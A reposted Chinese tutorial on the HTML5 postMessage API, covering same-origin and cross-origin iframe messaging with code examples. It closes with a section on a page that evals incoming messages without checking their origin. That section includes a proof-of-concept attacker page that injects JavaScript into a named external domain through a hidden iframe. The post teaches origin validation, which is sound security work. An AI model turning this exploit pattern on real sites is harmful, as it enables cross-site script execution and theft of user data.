html5: postMessage
[转]html5: postMessage解决跨域和跨页面通信的问题
平时做web开发的时候关于消息传递,除了客户端与服务器传值,还有几个经常会遇到的问题:
- 多窗口之间消息传递(
newWin = window.open(..)
); - 页面与嵌套的iframe消息传递
postMessage方法
postMessage
是html5引入的API可以更方便、有效、安全的解决这些问题。postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。
postMessage(data,origin)方法接受两个参数
-
data:要传递的数据,
html5规范中提到该参数可以是JavaScript的任意基本类型或可复制的对象,然而并不是所有浏览器都做到了这点儿,部分浏览器只能处理字符串参数,所以我们在传递参数的时候需要使用JSON.stringify()方法对对象参数序列化,在低版本IE中引用json2.js可以实现类似效果。 -
origin:字符串参数,指明目标窗口的源,
协议+主机+端口号[+URL]
,URL会被忽略,所以可以不写,这个参数是为了安全考虑,someWindow.postMessage()
方法只会在someWindow所在的源(url的protocol, host, port)和指定源一致时才会成功触发message event,当然如果愿意也可以将参数设置为"*
",someWindow可以在任意源,如果要指定和当前窗口同源的话设置为"/
"。
MessageEvent的属性
- data:顾名思义,是传递来的message
- source:发送消息的窗口对象
- origin:发送消息窗口的源(协议+主机+端口号)
示例:
同域父子页面间通讯
父页面a.html:
//> localhost:9011/a.html
<h1 class="header">page A</h1>
<div class="mb20">
<textarea name="ta" id="data" cols="30" rows="5">hello world</textarea>
<button style="font-size:20px;" onclick="send()">post message</button>
</div>
<!-- 不跨域的情况 -->
<iframe src="b.html" id="child" style="display: block; border: 1px dashed #ccc; height: 300px;"></iframe>
<script>
function send() {
var data = document.querySelector('#data').value;
// 注意: 只会触发当前window对象的message事件
// 也可以访问子页面的window对象,触发子页面的message事件 (window.frames[0].postMessage(...))
// window.postMessage(data, '/');
// data = {name: 'sandy', age: 20, fav: {sing: true, shop: false}}; // 也可以传普通对象
window.frames[0].postMessage(data, '/'); // 触发同域子页面的message事件
//window.frames[0].postMessage(data, 'http://localhost:9022/'); // 触发跨域子页面的messag事件
}
// 当前页面执行 window.postMessage(..)
// 或
// 子页面执行 parent.postMessage(...) 都会触发下面的回调, messageEvent.source不同而已
window.addEventListener('message', function(messageEvent) {
var data = messageEvent.data;// messageEvent: {source, currentTarget, data}
console.info('message from child:', data);
}, false);
</script>
子页面b.html
//> localhost:9011/b.html
<h1 class="header">page B</h1>
<input type="text" id="inp" value="some contents..">
<button onclick="send()">send</button>
<script>
window.addEventListener('message', function(ev) {
// if (ev.source !== window.parent) {return;}
var data = ev.data;
console.info('message from parent:', data);
}, false);
function send() {
var data = document.querySelector('#inp').value;
// window.postMessage(data, '*'); // 触发当前页面的message事件
parent.postMessage(data, '*'); // 触发父页面的message事件
// parent.postMessage(data, 'http://localhost:9011/'); // 若父页面的域名和指定的不一致,则postMessage失败
}
</script>
跨域父子页面间通讯
父页面a.html:
//> localhost:9011/a.html
<h1 class="header">page A</h1>
<div class="mb20">
<textarea name="ta" id="data" cols="30" rows="5">hello world</textarea>
<button style="font-size:20px;" onclick="send()">post message</button>
</div>
<!-- 跨域的情况 -->
<iframe src="http://localhost:9022/b.html" id="child" style="display: block; border: 1px dashed #ccc; height: 300px;"></iframe>
<script>
function send() {
var data = document.querySelector('#data').value;
window.frames[0].postMessage(data, 'http://localhost:9022/'); // 触发跨域子页面的messag事件
}
window.addEventListener('message', function(messageEvent) {
var data = messageEvent.data;
console.info('message from child:', data);
}, false);
</script>
子页面b.html
//> localhost:9022/b.html
<h1 class="header">page B</h1>
<input type="text" id="inp" value="some contents..">
<button onclick="send()">send</button>
<script>
window.addEventListener('message', function(ev) {
// if (ev.source !== window.parent) {return;}
var data = ev.data;
console.info('message from parent:', data);
}, false);
function send() {
var data = document.querySelector('#inp').value;
parent.postMessage(data, 'http://localhost:9011/'); // 若父页面的域名和指定的不一致,则postMessage失败
// parent.postMessage(data, '*'); // 触发父页面的message事件
}
</script>
浏览器有同源策略,规定js访问必须遵循同源策略,即满足同协议-同域名-同端口条件才能访问web资源,cookie,dom等等。
跨域的方式也有很多种,jsonp,window.name,document.cookie,其中postMessage就是一种跨域的方法。
使用postMessage方法时,我们只要发送端拥有某个窗口的有效js的句柄,就可以通过这套机制向该窗口发送任意长度的文本信息。
场景:
pay.example.com根目录下有个页面想获取用户的登录信息,为了达到这个目的,pay.example.com的根路径下有个页面加载了一个指向login.example.com的子框架。
1、这个子框架只需要发出以下指令:
parent.postMessage("user=bob", "https://pay.example.com");
2、在pay.example.com中获取这个message:
//对传进来需要处理的消息先进行注册 addEventListener("message", user_info, false) ; //收到实际数据时的具体处理 function user_info(msg){ if(msg.origin == "https://login.example.com"){ //根据计划使用msg.data数据 } }
从上面的代码可以看出,使用postMessage时,必须要判断消息的来源,使用回调参数中的origin属性进行判断,从而限制不可信域请求我们的资源。但是有时候由于疏忽,会漏掉判断,这就会导致安全问题。
0x01
看一段代码:
The secret is random and different for each visitor.<br/> <br /> Xss It! <script> var secret = Math.random(); var data=localStorage.getItem("secret"); if(!data){ data=secret; localStorage.setItem("secret",data) } data=data+""; console.log("secret is :"+ data); window.addEventListener("message",function(e){ var d=e.data; if(!d || !d.secret){return;} var token=d.secret; var action=d.action; switch(action){ case "check": if(data.match(new RegExp(token))){ console.log("ok"); } break; case "run": if(token === data){ eval(d.cmd); } break; default: void 0; } }) </script>
页面通过addEventListenr方法捕捉一个message事件,但是没有判断请求的来源就进行eval操作,这就会导致任意域在本域执行JS代码。写个页面即可,先获取窗口句柄,再发送恶意数据即可。
代码如下:
<!DOCTYPE html> <html> <body> postMessage for xss test <script> var f = document.createElement('iframe') ; f.style = "display:none;" ; f.width = "0" ; f.height = '0' ; f.name = "poor" ; f.src = "http://xxoo.sinaapp.com/test/test.htm" ; document.body.appendChild(f) ; f.onload = function(){ var w = f.contentWindow ; w.postMessage({secret:"0.8192312608007342",action:'run',cmd:'alert(location.href)'},"http://xxoo.sinaapp.com/test/test.htm") ; } </script> </body> </html>
通过这种方式可以在xxoo.sinaapp.com域上执行任意js代码,突破同源限制。所以,以后使用postMessage跨域,应该做好一定的防范和验证。